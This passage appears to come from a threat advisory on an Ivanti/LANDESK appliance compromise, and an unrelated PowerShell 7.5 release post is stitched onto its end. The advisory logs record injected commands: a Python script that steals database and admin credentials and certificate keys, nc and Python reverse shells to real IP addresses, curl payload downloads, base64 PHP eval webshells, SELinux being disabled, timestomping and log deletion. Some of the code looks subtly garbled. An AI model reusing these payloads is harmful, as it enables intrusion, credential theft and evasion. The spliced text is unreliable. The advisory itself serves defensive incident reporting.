rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo 
“update user_info set organization=’||/usr/bin/echo import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
  if t and m:
      msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
  else:
      msg = ”
  os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
  r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
  r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
  dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
  p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
  os.system(“tar zxvf {}”.format(r))
  while True:
      for f in os.listdir(‘.’):
          if re.match(“phpw{6}”, f):
              os.chmod(f, 0o777)
              m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
              if m:
                  set_msg(dbpwd, “PASSWORD”, m)
                  time.sleep(30)
                  set_msg(dbpwd)
                  exit()
else:
  set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)
}
{
Sep  6 02:39:11 REDACTED gsb[21266]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo 
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
  if t and m:
      msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
  else:
      msg = ”
  os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
  r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
  r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
  dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
  p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
  os.system(“tar zxvf {}”.format(r))
  while True:
      for f in os.listdir(‘.’):
          if re.match(“phpw{6}”, f):
              os.chmod(f, 0o777)
              m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
              if m:
                  set_msg(dbpwd, “PASSWORD”, m)
                  time.sleep(30)
                  set_msg(dbpwd)
                  exit()
else:
  set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)  
| /usr/bin/base64 -d | python;’ (1)
}
{
Sep  6 03:03:44 REDACTED gsb[11427]: /etc/php.ini
rewritten with new timezone: ‘;bash /tmp/Xa27efd2.tmp;’ (1)
}
{
Sep  8 05:18:35 REDACTED gsb[5132]: /etc/php.ini
rewritten with new timezone: ‘;/sbin/backuptool –backup;’ (1)
}
{
Sep  8 05:19:34 REDACTED gsb[5325]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo 
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
  if t and m:
      msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
  else:
      msg = ”
  os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
  r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
  r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
  dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
  p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
  os.system(“tar zxvf {}”.format(r))
  while True:
      for f in os.listdir(‘.’):
          if re.match(“phpw{6}”, f):
              os.chmod(f, 0o777)
              m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
              if m:
                  set_msg(dbpwd, “PASSWORD”, m)
                  time.sleep(30)
                  set_msg(dbpwd)
                  exit()
else:
  set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)   
| /usr/bin/base64 -d | python;’ (1)
}
{
Sep  8 10:37:35 REDACTED gsb[6196]: /etc/php.ini
rewritten with new timezone: ‘;nc REDACTED
80 -ssl -e /bin/bash;’ (1)
}
{
Sep  8 10:40:38 REDACTED gsb[8758]: /etc/php.ini
rewritten with new timezone: ‘;curl https://gggg.oyr2ohrm.eyes.sh
/;’ (1)
}
{
Sep  8 10:41:35 REDACTED gsb[7475]: /etc/php.ini
rewritten with new timezone: ‘;curl 98.98.54.209/a.sh -o /dev/shm/a.sh
;’ (1)
}
{
Sep  8 13:10:37 REDACTED gsb[22555]: /etc/php.ini
rewritten with new timezone: ‘;nc REDACTED
80 –ssl -e /bin/bash;’ (1)
}
{
Sep  8 13:21:06 REDACTED gsb[24954]: /etc/php.ini
rewritten with new timezone: ‘;nc REDACTED
80 –ssl -e /bin/bash;’ (1)
}
{
Sep  8 20:23:14 REDACTED gsb[1899]: /etc/php.ini
rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo 
“update user_info set organization=’||/usr/bin/echo import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
  if t and m:
      msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
  else:
      msg = ”
  os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
  r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
  r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
  dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
  p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
  os.system(“tar zxvf {}”.format(r))
  while True:
      for f in os.listdir(‘.’):
          if re.match(“phpw{6}”, f):
              os.chmod(f, 0o777)
              m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
              if m:
                  set_msg(dbpwd, “PASSWORD”, m)
                  time.sleep(30)
                  set_msg(dbpwd)
                  exit()
else:
  set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)   
| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)
}
{
Sep 10 04:36:30 REDACTED gsb[16012]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo 
python -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“45.33.101.53
“,443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’== | /usr/bin/base64 -d | /bin/bash;’ (1)
}
{
Sep 10 11:48:32 csa gsb[6829]: /etc/php.ini
rewritten with new timezone: ‘;/bin/
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“156.234.193.18”,44345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’;’ (1)
}
{
Sep 10 05:33:42 REDACTED gsb[17292]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo 
import os, re, time
os.chdir(“/tmp”)
d = “/backups/backup-09-01-2024_010101.tar.gz”
with open(“/opt/landesk/broker/broker.conf”) as f:
  dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if os.path.exists(d):
  os.system(“tar zxf {}”.format(d))
  pwd = os.popen(“export PGPASSWORD={};echo SELECT username,passwd FROM user_info | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().strip()
  p = pwd.split(‘:’)
  k = os.popen(“cat root/.certs/{}.0”.format(p[1])).read().strip()
  os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (1, ‘{}’, ‘1’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, k[0:200], k[200:700]))
  os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (2, ‘{}’, ‘2’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, k[700:900], k[900:]))
  os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (3, ‘{}’, ‘3’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, pwd[0:200], pwd[200:700]))
  time.sleep(60)
  os.system(”’export PGPASSWORD={};echo “DELETE FROM blockedcerts”|psql -d brokerdb -U gsbadmin”’.format(dbpwd))
  os.system(“rm -rdf *;rm -rf *”)== | /usr/bin/base64 -d | python;’ (1)
}

Appendix B: Sudo Commands

See Table 14 for a list of known sudo commands executed by the threat actors.

Command Use
sudo:  nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/opt/landesk/ldms/LDClient/ldpclient -i ;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo aW1wb3J0IG9zLCByZSwgYmFzZTY0LCB0aW1lCm9zLmNoZGlyKCIvdG1wIikKZCA9ICIvYmFja3VwcyIKZGVmIHNldF9tc2cocCwgdD0nJywgbT0nJyk6CiAgICBpZiB0IGFuZCBtOgogICAgICAgIG1zZyA9ICdBQXt9Ont9QkInLmZvcm1hdCh0LCBiYXNlNjQuYjY0ZW5jb2RlKG0uZW5jb2RlKCkpLmRlY29kZSgpKQogICAgZWxzZToKICAgICAgICBtc2cgPSAnJwogICAgb3Muc3lzdGVtKCcnJ2V4cG9ydCBQR1BBU1NXT1JEPXt9O2VjaG8gInVwZGF0ZSB1c2VyX2luZm8gc2V0IG9yZ2FuaXphdGlvbj0ne30nIHdoZXJlIHVzZXJuYW1lPSdhZG1pbicifHBzcWwgLWQgYnJva2VyZGIgLVUgZ3NiYWRtaW4nJycuZm9ybWF0KHAsIG1zZykpCnRyeToKICAgIHIgPSBtYXgoW29zLnBhdGguam9pbihkLCBmKSBmb3IgZiBpbiBvcy5saXN0ZGlyKGQpIGlmIG9zLnBhdGguaXNmaWxlKG9zLnBhdGguam9pbihkLCBmKSldLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKZXhjZXB0OgogICAgciA9IE5vbmUKd2l0aCBvcGVuKCIvb3B0L2xhbmRlc2svYnJva2VyL2Jyb2tlci5jb25mIikgYXMgZjoKICAgIGRicHdkID0gcmUuZmluZGFsbCgiUEdTUUxfUFc9KC4qKSIsIGYucmVhZCgpKVswXQppZiByOgogICAgcCA9IG9zLnBvcGVuKCJleHBvcnQgUEdQQVNTV09SRD17fTtlY2hvIFNFTEVDVCBwYXNzd2QgRlJPTSB1c2VyX2luZm8gV0hFUkUgdXNlcm5hbWU9XFwnYWRtaW5cXCcgfCBwc3FsIC1kIGJyb2tlcmRiIC1VIGdzYmFkbWluIC1oIGxvY2FsaG9zdCIuZm9ybWF0KGRicHdkKSkucmVhZCgpLnNwbGl0KCJcbiIpWy00XS5zdHJpcCgpLnNwbGl0KCc6JykKICAgIG9zLnN5c3RlbSgidGFyIHp4dmYge30iLmZvcm1hdChyKSkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgZm9yIGYgaW4gb3MubGlzdGRpcignLicpOgogICAgICAgICAgICBpZiByZS5tYXRjaCgicGhwXHd7Nn0iLCBmKToKICAgICAgICAgICAgICAgIG9zLmNobW9kKGYsIDBvNzc3KQogICAgICAgICAgICAgICAgbSA9IG9zLnBvcGVuKCIuL3t9IHt9IHt9IHt9IHJvb3QvLmNlcnRzL3t9LmtleSB7fSIuZm9ybWF0KGYsIHBbNF0sIHBbNV0sIHBbNl0sIHBbMV0sIHBbMV0pKS5yZWFkKCkuc3RyaXAoKQogICAgICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgICAgICBzZXRfbXNnKGRicHdkLCAiUEFTU1dPUkQiLCBtKQogICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMjQwKQogICAgICAgICAgICAgICAgICAgIHNldF9tc2coZGJwd2QpCiAgICAgICAgICAgICAgICAgICAgZXhpdCgpCmVsc2U6CiAgICBzZXRfbXNnKGRicHdkLCAnRVJST1InLCAnTk8gQkFDS1VQJykKICAgIAogICAgCg== | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;

Updates the “organization” field of the “admin” account in the PGSQL database with python script decoded from base64. 

The python script decompresses the latest backup of the PGSQL database and extracts the password for the gsbadmin account to access the database.

nobody : user NOT in sudoers ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=/sbin/setenforce 0 Temporarily disables SELinux.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo REDACTED_BASE64_PASSWORD | base64 >/opt/landesk/broker/webroot/gsb/site.cnf Exfiltrates credentials and places them in a site.cnf webfile.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo PD9waHAgZXZhbCgkX1BPU1RbImNiNzg2OGM0NjA zNTQ4NTdiNzE5MjA0ZTI3NjZlZGJlIl0pOw== | base64 -d >/opt/landesk/broker/webroot/gsb/view.php Creates a webshell at view.php.

sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/tripwire –update ;/usr/bin/echo ZWNobyAiPD9waHAgc3lzdGVtKCcvYmluL3N1ZG8gJy4Gq

FwkX1JFUVVFU1RbJ2EnXSk7IiA+IC9vcHQvbGFuZGVzay9icm

9rZXIvd2Vicm9vdC9nc2IvaGVscC5waHA= | /usr/bin/base64 -d | /bin/bash;

Creates a webshell at help.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/setPhpTimeZone($TIMEZONE)/// setPhpTimeZone()/g’ /opt/landesk/broker/webroot/gsb/DateTimeTab.php Comments out the function setPhpTimeZone in DateTimeTab.php that logs the full exploit command.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/setSystemTimeZone( $TIMEZONE )/// setSystemTimeZone( $TIMEZONE )/g’ /opt/landesk/broker/webroot/gsb/DateTimeTab.php Comments out the vulnerable function setSystemTimeZone in DateTimeTab.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/GSB main page/GSB main pageneval($_POST[“in39112cnnpkyc1os01q34gp6r60akgi”]);/g’ /opt/landesk/broker/webroot/client/index.php Adds a webshell into index.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/$canvas_height = 600;/$canvas_height = 600;nteval($_POST[“in39112cnnpkyc1os01q34gp6r60akgi”]);/’ /opt/landesk/broker/webroot/gsb/style.php Adds a webshell into style.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/client/index.php Timestomping attempt to change the access and modification of time of index.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/style.php Timestomping attempt to change the access and modification time of style.php
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/DateTimeTab.php Timestomping attempt to change the access and modification time of DateTimeTab.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/help.php Timestomping attempt to change the access and modification time of help.php
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /var/log/messages Removes evidence.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/site.cnf Removes site.cnf file (exfiltrated credentials).
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/client/client.php Removes one of the original webshells.

sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm

/opt/landesk/broker/webroot/gsb/view.php

Removes one of the original webshells.

PowerShell 7.5 RC-1 is now available

This post was originally published on this site

We’re proud to announce the availability of PowerShell 7.5.0-rc.1! This is the first release
candidate version of PowerShell 7.5 and is considered a “go-live” release meaning that it’s a
supported release in production. PowerShell 7.5 is built on top of .NET 9 and will be
supported for 18 months as a standard support release.

Please note that support for PowerShell 7.2 is ended November 8, 2024. PowerShell 7.4 is
the current LTS release of PowerShell and is supported until November 2026.

How do I get it?

Since PowerShell 7 is supported on Windows, Linux, and macOS, and there are a
many ways to install it. If you installed the previous PowerShell 7.5 preview release on
Windows and opted into Microsoft Update, you will be automatically updated to 7.5.0-rc.1.

Note

Automatic updates aren’t available immediately after a release. It can take up to 2 weeks to get the
latest versions deployed to all release channels.

What’s new in this release?

The PowerShell 7.5 milestone focused on security, quality and community contributions.
A few highlights include:

  • PSResourceGet now supports ACR as a container gallery, for more information check out the
    documentation
  • PSReadLine has been updated to version 2.3.6
  • New cmdlets ConvertTo-CliXml and ConvertFrom-CliXml(Thanks @ArmaanMcleod!)
  • Web cmdlet improvements as well as improvements to other cmdlets
  • Tab completion improvements
  • This release also contained a number of bug fixes — for the full list of changes please refer to
    the changelog

For more information on what’s changed, see What’s new in PowerShell 7.5.

Experimental Features that were made stable for 7.5

The following experimental features were converted to mainstream features in PowerShell 7.5:

  • PSCommandNotFoundSuggestion
  • PSCommandWithArgs
  • PSModuleAutoLoadSkipOfflineFiles

What’s next?

We expect to release PowerShell 7.5 GA in January 2025. We’ll have a separate blog post when the GA
release is available. We appreciate all the efforts of the community, both individuals and
working group members, and look forward to your continued feedback and contributions!

Sydney

PowerShell Team

The post PowerShell 7.5 RC-1 is now available appeared first on PowerShell Team.